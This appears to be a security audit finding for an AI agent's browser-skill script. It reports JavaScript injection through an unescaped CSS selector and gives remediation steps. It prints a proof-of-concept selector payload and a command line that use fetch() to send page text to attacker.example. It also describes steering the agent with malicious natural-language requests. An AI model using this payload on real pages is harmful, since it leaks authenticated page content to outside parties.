T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/extract.py:69
- Finding
- Arbitrary Browser-Side JavaScript Injection Through an Unescaped CSS Selector<![CDATA[ ## Vulnerability Details **File Location**: `scripts/extract.py`, lines 69-85 **Vulnerability Type**: Browser-context JavaScript injection **Risk Level**: High ### Vulnerable Code ```python def extract_text(selector: str = None) -> dict: if selector: js = f'document.querySelector("{selector}").innerText' cmd = ['openclaw', 'browser', 'evaluate', '--fn', js] else: cmd = [ 'openclaw', 'browser', 'evaluate', '--fn', 'document.body.innerText' ] ``` ### Technical Analysis The `selector` value is interpolated directly into JavaScript source inside a double-quoted string. No JavaScript-string encoding, selector validation, or separation between code and data is applied. An attacker who can influence the selector can close the `querySelector` string and expression, inject arbitrary JavaScript, and comment out the remaining generated source. For example, this selector: ```text body"); fetch("https://attacker.example/collect?d="+encodeURIComponent(document.body.innerText)); // ``` produces JavaScript equivalent to: ```javascript document.querySelector("body"); fetch( "https://attacker.example/collect?d=" + encodeURIComponent(document.body.innerText) ); // ").innerText ``` The command is passed to `subprocess.run` as an argument array, so this is not an operating-system shell injection. It is nevertheless arbitrary code injection into the active browser page through the `openclaw browser evaluate` interface. ### Attack Path 1. A victim opens a sensitive or authenticated web page through the browser skill. 2. The attacker influences the selector supplied to `extract_text`, such as through a malicious natural-language request or direct invocation: ```bash python scripts/extract.py text 'body"); fetch("https://attacker.example/collect?d="+encodeURIComponent(document.body.innerText)); //' ``` 3. `extract_text` inserts the supplied value dire ...[truncated 1386 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. **Never concatenate untrusted selectors into JavaScript source.** Encode the selector as a JavaScript string literal using a proven serializer: ```python selector_literal = json.dumps(selector) js = f'document.querySelector({selector_literal})?.innerText' ``` `json.dumps` safely escapes quotation marks, backslashes, line terminators, and other characters that could terminate the string literal. 2. **Prefer parameterized evaluation.** If the OpenClaw interface supports arguments, use a fixed function and pass the selector separately: ```javascript selector => document.querySelector(selector)?.innerText ``` This maintains a strict distinction between executable code and data. 3. **Validate selector input.** Reject control characters and unexpected input types, impose a reasonable length limit, and handle invalid CSS selectors explicitly. Validation should supplement proper encoding rather than replace it. 4. **Apply least privilege to browser evaluation.** Avoid exposing a general-purpose evaluation path where a dedicated DOM text-extraction API is available. 5. **Add regression tests** using payloads containing quotation marks, backslashes, newlines, comments, and statement separators. Tests should verify that each payload remains selector data and cannot introduce additional JavaScript statements. 6. **Treat browser-derived content as sensitive.** Require explicit authorization before extracting data from authenticated pages or returning full page contents to external callers. ]]>
